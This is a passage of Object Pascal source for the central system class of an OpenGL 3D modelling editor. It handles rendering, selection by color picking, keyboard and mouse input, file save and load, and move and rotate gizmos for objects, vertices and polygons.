function GetPixel(const Position: TGLDPoint2D): TGLDColor3ub;
procedure Register;
implementation
uses
GLDX,
{$INCLUDE GLDObjects.inc}, gldmain,
{$INCLUDE GLDObjectParamsFrames.inc},
GLDUserCameraParamsFrame,
GLDSelectByNameForm,
GLDMaterialEditorForm;
constructor TGLDSystem.Create(AOwner: TComponent);
var
i: GLint;
begin
inherited Create(AOwner);
Randomize;
FAllowRender := True;
FRenderOptions := TGLDSystemRenderOptions.Create(Self);
FRenderOptions.OnChange := DoChange;
FCameraSystem := TGLDCameraSystem.Create(Self);
FCameraSystem.OnChange := DoChange;
for i := 0 to $FF do FKeys.KeyCode[i] := False;
for i := GLint(Low(TGLDMouseButtons)) to GLint(High(TGLDMouseButtons)) do
FMouseButtons[TMouseButton(i)] := False;
FShiftState := [];
FStatus := GLD_SYSTEM_STATUS_NONE;
{$WARNINGS OFF}
FSelectionType := GLD_ST_OBJECTS;
FDrawer := TGLDDrawer.Create(Self);
FDrawer.OnChange := DoChange;
{$WARNINGS ON}
FEditedPosition := TGLDVector4fClass.Create(Self);
FEditedPosition.OnChange := OnEditedPositionChange;
FEditedRotation := TGLDRotation3DClass.Create(Self);
FEditedRotation.OnChange := OnEditedRotationChange;
FMoveGizmo := TGLDMoveGizmo.Create(Self);
FMoveGizmo.OnChange := DoChange;
FRotateGizmo := TGLDRotateGizmo.Create(Self);
FRotateGizmo.OnChange := DoChange;
FHomeGrid := TGLDHomeGrid.Create(Self);
FHomeGrid.OnChange := DoChange;
FOrthoGrid := TGLDOrthoGrid.Create(Self);
FOrthoGrid.OnChange := DoChange;
FArcRotationGizmo := TGLDArcRotationGizmo.Create(Self);
FArcRotationGizmo.OnChange := DoChange;
//FArcRotationGizmo.EditedRotation := FCamera.Rotation;
FObjList := TGLDObjectList.Create(Self);
FCamList := TGLDUserCameraList.Create(Self);
FRepository := nil;
FViewer := nil;
FXYZFrame := nil;
FOnSystemNotification := nil;
end;
destructor TGLDSystem.Destroy;
begin
FDrawer.Free;
FRenderOptions.Free;
FCameraSystem.Free;
FEditedPosition.Free;
FEditedRotation.Free;
FMoveGizmo.Free;
FRotateGizmo.Free;
FHomeGrid.Free;
FOrthoGrid.Free;
FArcRotationGizmo.Free;
FObjList.Free;
FCamList.Free;
FRepository := nil;
inherited Destroy;
end;
procedure TGLDSystem.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLDSystem) then Exit;
FAllowRender := TGLDSystem(Source).FAllowRender;
FRenderOptions.Assign(TGLDSystem(Source).FRenderOptions);
FCameraSystem.Assign(TGLDSystem(Source).FCameraSystem);
FKeys := TGLDSystem(Source).FKeys;
FMouseButtons := TGLDSystem(Source).FMouseButtons;
FMousePosition := TGLDSystem(Source).FMousePosition;
FMousePositionOnDown := TGLDSystem(Source).FMousePositionOnDown;
FMousePositionOnUp := TGLDSystem(Source).FMousePositionOnUp;
FLastMousePosition := TGLDSystem(Source).FLastMousePosition;
FShiftState := TGLDSystem(Source).FShiftState;
FSelectionType := TGLDSystem(Source).FSelectionType;
FStatus := TGLDSystem(Source).FStatus;
FEditedPosition.Assign(TGLDSystem(Source).FEditedPosition);
FEditedRotation.Assign(TGLDSystem(Source).FEditedRotation);
FMoveGizmo.Assign(TGLDSystem(Source).FMoveGizmo);
FRotateGizmo.Assign(TGLDSystem(Source).FRotateGizmo);
FHomeGrid.Assign(TGLDSystem(Source).FHomeGrid);
FOrthoGrid.Assign(TGLDSystem(Source).FOrthoGrid);
FArcRotationGizmo.Assign(TGLDSystem(Source).FArcRotationGizmo);
FRepository := TGLDSystem(Source).FRepository;
FObjList.Clear;
FCamList.Clear;
FViewer := TGLDSystem(Source).FViewer;
if Assigned(FViewer) then
FViewer.OnRender := Self.Render;
if Assigned(FRepository) then
FRepository.OnChange := DoChange;
end;
procedure TGLDSystem.LoadFromStream(Stream: TStream);
var
Header: TGLDFileHeader;
begin
FAllowRender := False;
Stream.Read(Header, SizeOf(TGLDFileHeader));
if (Header.HasViewer) and Assigned(FViewer) then
FViewer.StateOptions.LoadFromStream(Stream);
if (Header.HasRepository) and Assigned(FRepository) then
FRepository.LoadFromStream(Stream);
FRenderOptions.LoadFromStream(Stream);
FCameraSystem.LoadFromStream(Stream);
FHomeGrid.LoadFromStream(Stream);
FOrthoGrid.LoadFromStream(Stream);
FAllowRender := True;
DoChange(Self);
end;
procedure TGLDSystem.SaveToStream(Stream: TStream);
var
Header: TGLDFileHeader;
begin
Header.HasViewer := Assigned(FViewer);
Header.HasRepository := Assigned(FRepository);
Stream.Write(Header, SizeOf(TGLDFileHeader));
if Assigned(FViewer) then
FViewer.StateOptions.SaveToStream(Stream);
if Assigned(FRepository) then
FRepository.SaveToStream(Stream);
FRenderOptions.SaveToStream(Stream);
FCameraSystem.SaveToStream(Stream);
FHomeGrid.SaveToStream(Stream);
FOrthoGrid.SaveToStream(Stream);
end;
procedure TGLDSystem.Clear;
begin
if Assigned(FRepository) then
FRepository.Clear;
FObjList.Clear;
FCamList.Clear;
ResetStatus;
SelectionChanged;
end;
procedure TGLDSystem.New;
begin
FCameraSystem.Reset;
Clear;
end;
function TGLDSystem.SaveToFile(const FileName: string): GLboolean;
var
Stream: TStream;
begin
Result := False;
Stream := nil;
if FileName = '' then Exit;
try
Stream := TFileStream.Create(FileName, fmCreate);
SaveToStream(Stream);
finally
Stream.Free;
end;
Result := True;
end;
function TGLDSystem.OpenFromFile(const FileName: string): GLboolean;
var
Stream: TStream;
begin
Result := False;
Stream := nil;
if FileName = '' then Exit;
if not FileExists(FileName) then Exit;
try
Stream := TFileStream.Create(FileName, fmOpenRead);
LoadFromStream(Stream);
finally
Stream.Free;
end;
SelectionChanged;
Result := True;
end;
function TGLDSystem.Import3dsFile(const FileName: string): GLboolean;
begin
Result := False;
if not Assigned(FRepository) then Exit;
Result := FRepository.Import3dsFile(FileName);
SelectionChanged;
end;
procedure TGLDSystem.Render;
begin
if not FAllowRender then Exit;
if not Assigned(FViewer) then Exit;
FViewer.MakeCurrent;
FRenderOptions.Apply;
glClearColor(160.0 / 255.0, 160.0 / 255.0, 160.0 / 255.0, 1.0);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
FCameraSystem.Apply;
if (FCameraSystem.UsedCamera = GLD_UC_PERSPECTIVE) or
(FCameraSystem.UsedCamera = GLD_UC_USER) then
FHomeGrid.Render
else FOrthoGrid.Render;
if Assigned(FRepository) then
begin
if (FRenderOptions.RenderMode = rmSmooth) and (not FRenderOptions.DrawEdges) then
FRepository.Render else
if (FRenderOptions.RenderMode = rmSmooth) and (FRenderOptions.DrawEdges) then
FRepository.RenderEdges else
if FRenderOptions.RenderMode = rmWireframe then
begin
glPushAttrib(GL_LIGHTING_BIT or GL_POLYGON_BIT);
glLightModeli(GL_LIGHT_MODEL_TWO_SIDE, GL_FALSE);
FRepository.RenderWireframe;
glPopAttrib;
end else
if FRenderOptions.RenderMode = rmBoundingBox then
begin
FRepository.RenderBoundingBox;
end;
end;
FArcRotationGizmo.Render;
FMoveGizmo.Render;
FRotateGizmo.Render;
if (FStatus in GLD_SYSTEM_POLYGON_CREATING_STATES) then
FDrawer.RenderDrawedPolygon;
end;
procedure TGLDSystem.RenderForSelection;
begin
if not Assigned(FViewer) then Exit;
FViewer.MakeCurrent;
glPushAttrib(GL_LIGHTING_BIT or GL_COLOR_BUFFER_BIT);
glClearColor(0.0, 0.0, 0.0, 0.0);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glDisable(GL_LIGHTING);
FCameraSystem.Apply;
if FSelectionType = GLD_ST_OBJECTS then
begin
if Assigned(FRepository) then
FRepository.RenderForSelection;
end else
begin
glPushAttrib(GL_POLYGON_BIT);
FRenderOptions.ApplyPolygonMode;
FRenderOptions.ApplyCullFacing;
FDrawer.RenderForSubSelection;
glPopAttrib;
end;
glPopAttrib;
glFlush;
end;
procedure TGLDSystem.SelectionChanged;
var
OS, CS: GLint;
Obj: TGLDVisualObject;
Cam: TGLDUserCamera;
begin
if not Assigned(FRepository) then Exit;
with FRepository do
begin
OS := Objects.SelectionCount;
CS := Cameras.CameraSelectionCount;
if (OS = 1) and (CS = 0) then
begin
Obj := Objects.FirstSelectedObject;
FDrawer.FEditedObject := Obj;
FDrawer.FEditedModify := nil;
SystemNotification(GLD_SYSTEM_OPERATION_OBJECT_SELECT, Obj);
end else
if (OS = 0) and (CS = 1) then
begin
Cam := Cameras.FirstSelectedCamera;
FDrawer.FEditedObject := Cam;
FDrawer.FEditedModify := nil;
SystemNotification(GLD_SYSTEM_OPERATION_OBJECT_SELECT, Cam);
end else
if OS + CS <> 1 then
begin
FDrawer.FEditedObject := nil;
FDrawer.FEditedModify := nil;
SystemNotification(GLD_SYSTEM_OPERATION_OBJECT_SELECT, nil);
end;
end;
end;
procedure TGLDSystem.Select(const Position: TGLDPoint2D);
var
Idx: GLuint;
begin
if not Assigned(FRepository) then Exit;
RenderForSelection;
Idx := GLDXColor(GetPixel(Position));
if FSelectionType = GLD_ST_OBJECTS then
begin
with FRepository do
begin
if ssCtrl in FShiftState then
begin
AddSelection(Idx);
SelectionChanged;
end else
begin
Self.DeleteSelections;
Select(Idx);
SelectionChanged;
end;
end;
end else //if (FSelectionType = GLD_ST_VERTICES) or (FSelectionType = GLD_ST_POLYGONS) then
begin
if ssCtrl in FShiftState then
FDrawer.AddSubSelection(Idx)
else FDrawer.SubSelect(Idx);
end;
end;
procedure TGLDSystem.SelectByName;
begin
if not Assigned(FRepository) then Exit;
with GLDGetSelectByNameForm do
begin
SourceRepository := FRepository;
ShowModal;
SelectionChanged;
Self.DoChange(Self);
end;
end;
procedure TGLDSystem.DeleteSelections;
begin
if (FSelectionType = GLD_ST_VERTICES) or
(FSelectionType = GLD_ST_POLYGONS) then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
TGLDCustomMesh(FDrawer.FEditedObject).DeleteSelections;
end else
if FSelectionType = GLD_ST_OBJECTS then
begin
if not Assigned(FRepository) then Exit;
if not (FStatus in GLD_SYSTEM_DRAWING_STATES) then
begin
FRepository.DeleteSelections;
FDrawer.FEditedObject := nil;
FDrawer.FEditedModify := nil;
SystemNotification(GLD_SYSTEM_OPERATION_DELETE_SELECTIONS, nil);
end;
end;
end;
procedure TGLDSystem.DeleteSelectedObjects;
begin
if FSelectionType = GLD_ST_VERTICES then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
TGLDCustomMesh(FDrawer.FEditedObject).DeleteSelectedVertices;
end else
if FSelectionType = GLD_ST_POLYGONS then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
TGLDCustomMesh(FDrawer.FEditedObject).DeleteSelectedPolygons(True);
end else
if FSelectionType = GLD_ST_OBJECTS then
begin
FDrawer.FEditedObject := nil;
FDrawer.FEditedModify := nil;
SystemNotification(GLD_SYSTEM_OPERATION_DELETE_SELECTED_OBJECTS, nil);
if Assigned(FRepository) then
FRepository.DeleteSelectedObjects;
StartSelection;
end;
end;
procedure TGLDSystem.CopyObjects;
begin
if not Assigned(FRepository) then Exit;
if FSelectionType <> GLD_ST_OBJECTS then Exit;
FObjList.Clear;
FCamList.Clear;
FRepository.CopyObjectsTo(FObjList, FCamList);
end;
procedure TGLDSystem.PasteObjects;
begin
if not Assigned(FRepository) then Exit;
if FSelectionType <> GLD_ST_OBJECTS then Exit;
FRepository.PasteObjectsFrom(FObjList, FCamList);
end;
procedure TGLDSystem.ConvertSelectedObjectsToTriMesh;
begin
if FSelectionType <> GLD_ST_OBJECTS then Exit;
FDrawer.FEditedObject := nil;
FDrawer.FEditedModify := nil;
if Assigned(FRepository) then
begin
FRepository.Objects.ConvertSelectedObjectsToTriMesh;
SelectionChanged;
end;
end;
procedure TGLDSystem.ConvertSelectedObjectsToQuadMesh;
begin
if FSelectionType <> GLD_ST_OBJECTS then Exit;
FDrawer.FEditedObject := nil;
FDrawer.FEditedModify := nil;
if Assigned(FRepository) then
begin
FRepository.Objects.ConvertSelectedObjectsToQuadMesh;
SelectionChanged;
end;
end;
procedure TGLDSystem.ConvertSelectedObjectsToPolyMesh;
begin
if FSelectionType <> GLD_ST_OBJECTS then Exit;
FDrawer.FEditedObject := nil;
FDrawer.FEditedModify := nil;
if Assigned(FRepository) then
begin
FRepository.Objects.ConvertSelectedObjectsToPolyMesh;
SelectionChanged;
end;
end;
procedure TGLDSystem.KeyDown(Key: GLushort; Shift: TShiftState);
begin
FKeys.KeyCode[Key] := True;
FShiftState := Shift;
if FKeys.KeyCode[GLD_KEY_DELETE] then
DeleteSelectedObjects else
if FKeys.KeyChar['S'] then
begin
FRenderOptions.RenderMode := rmSmooth;
end else
if FKeys.KeyChar['E'] then
begin
with FRenderOptions do
DrawEdges := not DrawEdges;
end else
if FKeys.KeyChar['W'] then
begin
FRenderOptions.RenderMode := rmWireframe;
end else
if FKeys.KeyChar['B'] then
begin
FRenderOptions.RenderMode := rmBoundingBox;
end else
if FKeys.KeyChar['G'] then
begin
case FCameraSystem.UsedCamera of
GLD_UC_PERSPECTIVE,
GLD_UC_USER:
FHomeGrid.Visible := not FHomeGrid.Visible;
else
FOrthoGrid.Visible := not FOrthoGrid.Visible;
end;
end else
if FKeys.KeyCode[77] then
begin
GLDGetMaterialEditorForm.System := Self;
GLDGetMaterialEditorForm.Show;
FKeys.KeyCode[77] := False;
end;
end;
procedure TGLDSystem.KeyUp(Key: GLushort; Shift: TShiftState);
begin
FKeys.KeyCode[Key] := False;
FShiftState := Shift;
end;
procedure TGLDSystem.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: GLint);
begin
FMouseButtons[Button] := True;
FMousePosition := GLDXPoint2D(X, Y);
FMousePositionOnDown := FMousePosition;
FShiftState := Shift;
case FStatus of
GLD_SYSTEM_STATUS_SELECT:
if FMouseButtons[mbLeft] then
Select(GLDXPoint2D(X, Y));
GLD_SYSTEM_STATUS_ARC_ROTATION:
FArcRotationGizmo.MouseDown(Button, GLDXPoint2D(X, Y));
GLD_SYSTEM_STATUS_VERTICES_MOVING,
GLD_SYSTEM_STATUS_POLYGONS_MOVING,
GLD_SYSTEM_STATUS_OBJECT_MOVING:
FMoveGizmo.MouseDown(Button, GLDXPoint2D(X, Y));
GLD_SYSTEM_STATUS_VERTICES_ROTATING,
GLD_SYSTEM_STATUS_POLYGONS_ROTATING,
GLD_SYSTEM_STATUS_OBJECT_ROTATING:
FRotateGizmo.MouseDown(Button, GLDXPoint2D(X, Y));
else if (FStatus in GLD_SYSTEM_DRAWING_STATES) then FDrawer.MouseDown(Button, Shift, GLDXPoint2D(X, Y));
end;
end;
procedure TGLDSystem.MouseMove(X, Y: GLint);
begin
FMousePosition := GLDXPoint2D(X, Y);
case FStatus of
GLD_SYSTEM_STATUS_SELECT: begin end;
GLD_SYSTEM_STATUS_PANNING:
begin
if FMouseButtons[mbLeft] then
FCameraSystem.Pan(FMousePosition.X - FLastMousePosition.X,
FMousePosition.Y - FLastMousePosition.Y);
end;
GLD_SYSTEM_STATUS_ZOOMING:
begin
if FMouseButtons[mbLeft] then
FCameraSystem.Zoom((FLastMousePosition.Y - FMousePosition.Y) * 10);
end;
GLD_SYSTEM_STATUS_ARC_ROTATION:
FArcRotationGizmo.MouseMove(GLDXPoint2D(X, Y));
GLD_SYSTEM_STATUS_VERTICES_MOVING,
GLD_SYSTEM_STATUS_POLYGONS_MOVING,
GLD_SYSTEM_STATUS_OBJECT_MOVING:
FMoveGizmo.MouseMove(GLDXPoint2D(X, Y));
GLD_SYSTEM_STATUS_VERTICES_ROTATING,
GLD_SYSTEM_STATUS_POLYGONS_ROTATING,
GLD_SYSTEM_STATUS_OBJECT_ROTATING:
FRotateGizmo.MouseMove(GLDXPoint2D(X, Y));
else if (FStatus in GLD_SYSTEM_DRAWING_STATES) then FDrawer.MouseMove(GLDXPoint2D(X, Y));
end;
if Assigned(FXYZFrame) then
begin
case FStatus of
GLD_SYSTEM_STATUS_VERTICES_MOVING,
GLD_SYSTEM_STATUS_POLYGONS_MOVING,
GLD_SYSTEM_STATUS_OBJECT_MOVING:
FXYZFrame.Vector3f := FEditedPosition.Vector3f;
GLD_SYSTEM_STATUS_VERTICES_ROTATING,
GLD_SYSTEM_STATUS_POLYGONS_ROTATING,
GLD_SYSTEM_STATUS_OBJECT_ROTATING:
FXYZFrame.Rotation3D := FEditedRotation.Params;
else FXYZFrame.Vector3f := FHomeGrid.MouseIntersection(GLDXPoint2D(X, Y));
end;
end;
FLastMousePosition := FMousePosition;
end;
procedure TGLDSystem.MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: GLint);
begin
FMouseButtons[Button] := False;
FMousePosition := GLDXPoint2D(X, Y);
FMousePositionOnUp := FMousePosition;
FShiftState := Shift;
case FStatus of
GLD_SYSTEM_STATUS_SELECT: begin end;
GLD_SYSTEM_STATUS_ARC_ROTATION:
FArcRotationGizmo.MouseUp(Button);
GLD_SYSTEM_STATUS_VERTICES_MOVING,
GLD_SYSTEM_STATUS_POLYGONS_MOVING,
GLD_SYSTEM_STATUS_OBJECT_MOVING:
FMoveGizmo.MouseUp(Button);
GLD_SYSTEM_STATUS_VERTICES_ROTATING,
GLD_SYSTEM_STATUS_POLYGONS_ROTATING,
GLD_SYSTEM_STATUS_OBJECT_ROTATING:
FRotateGizmo.MouseUp(Button);
else if (FStatus in GLD_SYSTEM_DRAWING_STATES) then FDrawer.MouseUp(Button, Shift, GLDXPoint2D(X, Y));
end;
end;
procedure TGLDSystem.MouseWheel(Shift: TShiftState; WheelDelta: Integer; const MousePos: TGLDPoint2D);
begin
FCameraSystem.Zoom(WheelDelta);
end;
procedure TGLDSystem.ResetStatus;
begin
FArcRotationGizmo.Enabled := False;
FArcRotationGizmo.Visible := False;
FArcRotationGizmo.EditedRotation := nil;
FMoveGizmo.Enabled := False;
FMoveGizmo.Visible := False;
FRotateGizmo.Enabled := False;
FRotateGizmo.Visible := False;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SIMPLE_OUTPUT;
end;
procedure TGLDSystem.StartSelection;
begin
ResetStatus;
FStatus := GLD_SYSTEM_STATUS_SELECT;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SIMPLE_OUTPUT;
end;
procedure TGLDSystem.StartArcRotation;
begin
if not ((FCameraSystem.UsedCamera = GLD_UC_PERSPECTIVE) or
(FCameraSystem.UsedCamera = GLD_UC_USER)) then Exit;
ResetStatus;
FArcRotationGizmo.EditedRotation := FCameraSystem.Rotation;
FArcRotationGizmo.Enabled := True;
FArcRotationGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_ARC_ROTATION;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SIMPLE_OUTPUT;
end;
procedure TGLDSystem.StartPanning;
begin
ResetStatus;
FStatus := GLD_SYSTEM_STATUS_PANNING;
end;
procedure TGLDSystem.StartZooming;
begin
ResetStatus;
FStatus := GLD_SYSTEM_STATUS_ZOOMING;
end;
procedure TGLDSystem.StartMoving;
begin
if FSelectionType = GLD_ST_VERTICES then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) and
(TGLDCustomMesh(FDrawer.FEditedObject).SelectionCount > 0) then
begin
ResetStatus;
FEditedPosition.Vector3f :=
TGLDCustomMesh(FDrawer.FEditedObject).CenterOfSelectedVertices;
FMoveGizmo.EditedPosition := FEditedPosition;
FMoveGizmo.Enabled := True;
FMoveGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_VERTICES_MOVING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_POSITION;
end;
end else
if FSelectionType = GLD_ST_POLYGONS then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) and
(TGLDCustomMesh(FDrawer.FEditedObject).SelectionCount > 0) then
begin
ResetStatus;
FEditedPosition.Vector3f :=
TGLDCustomMesh(FDrawer.FEditedObject).CenterOfSelectedVertices;
FMoveGizmo.EditedPosition := FEditedPosition;
FMoveGizmo.Enabled := True;
FMoveGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_POLYGONS_MOVING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_POSITION;
end;
end else
if FSelectionType = GLD_ST_OBJECTS then
begin
if Assigned(FDrawer.FEditedModify) and
(FDrawer.FEditedModify is TGLDModifyC) then
begin
ResetStatus;
FEditedPosition.Vector3f :=
GLDXVectorAdd(TGLDModifyC(FDrawer.FEditedModify).Center.Vector3f,
TGLDEditableObject(TGLDModifyList(TGLDModifyC(FDrawer.FEditedModify).Owner).Owner).Position.Vector3f);
FMoveGizmo.EditedPosition := FEditedPosition;
FMoveGizmo.Enabled := True;
FMoveGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_OBJECT_MOVING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_POSITION;
end else
begin
if not Assigned(FRepository) then Exit;
if (FRepository.Objects.SelectionCount > 0) or
(FRepository.Cameras.SelectionCount > 0) then
begin
ResetStatus;
FEditedPosition.Vector3f :=
FRepository.CenterOfSelectedObjects;
FMoveGizmo.EditedPosition := FEditedPosition;
FMoveGizmo.Enabled := True;
FMoveGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_OBJECT_MOVING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_POSITION;
end;
end;
end;
end;
procedure TGLDSystem.StartRotating;
begin
if FSelectionType = GLD_ST_VERTICES then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
begin
ResetStatus;
FRotateGizmo.Position.Vector3f :=
TGLDCustomMesh(FDrawer.FEditedObject).CenterOfSelectedVertices;
PGLDRotation3D(FEditedRotation.GetPointer)^ := GLD_ROTATION3D_ZERO;
FRotateGizmo.EditedRotation := FEditedRotation;
FRotateGizmo.Enabled := True;
FRotateGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_VERTICES_ROTATING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_ROTATION;
end;
end else
if FSelectionType = GLD_ST_POLYGONS then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
begin
ResetStatus;
FRotateGizmo.Position.Vector3f :=
TGLDCustomMesh(FDrawer.FEditedObject).CenterOfSelectedVertices;
PGLDRotation3D(FEditedRotation.GetPointer)^ := GLD_ROTATION3D_ZERO;
FRotateGizmo.EditedRotation := FEditedRotation;
FRotateGizmo.Enabled := True;
FRotateGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_POLYGONS_ROTATING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_ROTATION;
end;
end else
if FSelectionType = GLD_ST_OBJECTS then
begin
if not Assigned(FRepository) then Exit;
if (FRepository.Objects.SelectionCount > 0) or
(FRepository.Cameras.SelectionCount > 0) then
begin
ResetStatus;
FRotateGizmo.Position.Vector3f :=
FRepository.CenterOfSelectedObjects;
FRotateGizmo.EditedRotation := FEditedRotation;
FRotateGizmo.Enabled := True;
FRotateGizmo.Visible := True;
FStatus := GLD_SYSTEM_STATUS_OBJECT_ROTATING;
if Assigned(FXYZFrame) then FXYZFrame.Mode := GLD_MODE_SET_ROTATION;
end;
end;
end;
procedure TGLDSystem.StartCreatingVertices;
begin
FDrawer.StartCreatingVertices;
end;
procedure TGLDSystem.StartCreatingPolygons;
begin
FDrawer.StartCreatingPolygons;
end;
procedure TGLDSystem.StartDrawing(AType: TGLDVisualObjectClass);
begin
FDrawer.StartDrawing(AType);
end;
procedure TGLDSystem.Notification(AComponent: TComponent; Operation: TOperation);
begin
if Assigned(FDrawer) and (AComponent = FDrawer.FIOFrame) and
(Operation = opRemove) then
begin
FDrawer.IOFrame := nil;
end else
if (AComponent = FViewer) and (Operation = opRemove) then
begin
if Assigned(FViewer) then
FViewer.OnRender := nil;
FViewer := nil;
end else
if (AComponent = FRepository) and (Operation = opRemove) then
begin
if Assigned(FRepository) then
FRepository.OnChange := nil;
FRepository := nil;
end else
if Assigned(FXYZFrame) and (AComponent = FXYZFrame.Owner) and
(Operation = opRemove) then
begin
FXYZFrame := nil;
end else
if (AComponent = TMethod(FOnSystemNotification).Data) and
(Operation = opRemove) then
begin
FOnSystemNotification := nil;
end;
inherited Notification(AComponent, Operation);
end;
procedure TGLDSystem.SetStatus(Value: TGLDSystemStatus);
begin
ResetStatus;
if Value = GLD_SYSTEM_STATUS_ARC_ROTATION then
begin
FArcRotationGizmo.Enabled := True;
FArcRotationGizmo.Visible := True;
end;
if Value = GLD_SYSTEM_STATUS_OBJECT_MOVING then
begin
FMoveGizmo.Enabled := True;
FMoveGizmo.Visible := True;
end;
if Value = GLD_SYSTEM_STATUS_OBJECT_ROTATING then
begin
FRotateGizmo.Enabled := True;
FRotateGizmo.Visible := True;
end;
FStatus := Value;
if FStatus in GLD_SYSTEM_FIRST_DRAWING_STATES then
SystemNotification(GLD_SYSTEM_OPERATION_START_OBJECT_DRAWING, Pointer(FStatus));
end;
procedure TGLDSystem.SetRenderOptions(Value: TGLDSystemRenderOptions);
begin
FRenderOptions.Assign(Value);
end;
procedure TGLDSystem.SetCameraSystem(Value: TGLDCameraSystem);
begin
FCameraSystem.Assign(Value);
end;
procedure TGLDSystem.SetMoveGizmo(Value: TGLDMoveGizmo);
begin
FMoveGizmo.Assign(Value);
end;
procedure TGLDSystem.SetRotateGizmo(Value: TGLDRotateGizmo);
begin
FRotateGizmo.Assign(Value);
end;
procedure TGLDSystem.SetHomeGrid(Value: TGLDHomeGrid);
begin
FHomeGrid.Assign(Value);
end;
procedure TGLDSystem.SetOrthoGrid(Value: TGLDOrthoGrid);
begin
FOrthoGrid.Assign(Value);
end;
procedure TGLDSystem.SetArcRotationGizmo(Value: TGLDArcRotationGizmo);
begin
FArcRotationGizmo.Assign(Value);
end;
procedure TGLDSystem.SetRepository(Value: TGLDRepository);
begin
if FRepository = Value then Exit;
FRepository := Value;
if Assigned(FRepository) then
FRepository.OnChange := DoChange;
Render;
end;
procedure TGLDSystem.SetViewer(Value: TGLDViewer);
begin
if FViewer = Value then Exit;
if Assigned(FViewer) then
FViewer.OnRender := nil;
FViewer := Value;
if Assigned(FViewer) then
FViewer.OnRender := Render;
Render;
end;
procedure TGLDSystem.SetXYZFrame(Value: TGLDXYZFrame);
begin
if Assigned(FXYZFrame) then
FXYZFrame.OnValueChange := nil;
FXYZFrame := Value;
if Assigned(FXYZFrame) then
FXYZFrame.OnValueChange := Self.OnXYZFrameValueChange;
end;
procedure TGLDSystem.DoChange(Sender: TObject);
begin
if Assigned(FViewer) then
FViewer.Render;
end;
procedure TGLDSystem.OnEditedPositionChange(Sender: TObject);
var
V1, V2: TGLDVector3f;
begin
if FSelectionType = GLD_ST_VERTICES then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
with TGLDCustomMesh(FDrawer.FEditedObject) do
begin
V1 := CenterOfSelectedVertices;
V2 := GLDXVectorSub(FEditedPosition.Vector3f, V1);
MoveSelectedVertices(V2);
end;
end else
if FSelectionType = GLD_ST_POLYGONS then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
with TGLDCustomMesh(FDrawer.FEditedObject) do
begin
V1 := CenterOfSelectedVertices;
V2 := GLDXVectorSub(FEditedPosition.Vector3f, V1);
MoveSelectedPolygons(V2);
end;
end else
if FSelectionType = GLD_ST_OBJECTS then
begin
if Assigned(FDrawer.FEditedModify) and
(FDrawer.FEditedModify is TGLDModifyC) then
begin
V1 := TGLDModifyC(FDrawer.FEditedModify).Center.Vector3f;
V2 := GLDXVectorSub(FEditedPosition.Vector3f, V1);
V2 := GLDXVectorSub(V2,
TGLDEditableObject(TGLDModifyList(TGLDModify(FDrawer.EditedModify).Owner).Owner).Position.Vector3f);
TGLDModifyC(FDrawer.FEditedModify).MoveCenter(V2);
end else
begin
if not Assigned(FRepository) then Exit;
V1 := FRepository.CenterOfSelectedObjects;
V2 := GLDXVectorSub(FEditedPosition.Vector3f, V1);
FRepository.MoveSelectedObjects(V2);
end;
end;
end;
procedure TGLDSystem.OnEditedRotationChange(Sender: TObject);
var
V: TGLDVector3f;
R1, R2: TGLDRotation3D;
begin
if FSelectionType = GLD_ST_VERTICES then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
begin
V := TGLDCustomMesh(FDrawer.FEditedObject).CenterOfSelectedVertices;
TGLDCustomMesh(FDrawer.FEditedObject).RotateSelectedVertices(
V, FEditedRotation.Params);
PGLDRotation3D(FEditedRotation.GetPointer)^ := GLD_ROTATION3D_ZERO;
end;
end else
if FSelectionType = GLD_ST_POLYGONS then
begin
if Assigned(FDrawer.FEditedObject) and
(FDrawer.FEditedObject is TGLDCustomMesh) then
begin
V := TGLDCustomMesh(FDrawer.FEditedObject).CenterOfSelectedVertices;
TGLDCustomMesh(FDrawer.FEditedObject).RotateSelectedPolygons(
V, FEditedRotation.Params);
PGLDRotation3D(FEditedRotation.GetPointer)^ := GLD_ROTATION3D_ZERO;
end;
end else
if FSelectionType = GLD_ST_OBJECTS then
begin
if Assigned(FRepository) then
begin
R1 := FRepository.AverageOfRotations;
R2 := GLDXRotation3DSub(FEditedRotation.Params, R1);
FRepository.RotateSelectedObjects(R2);
end;
end;
end;
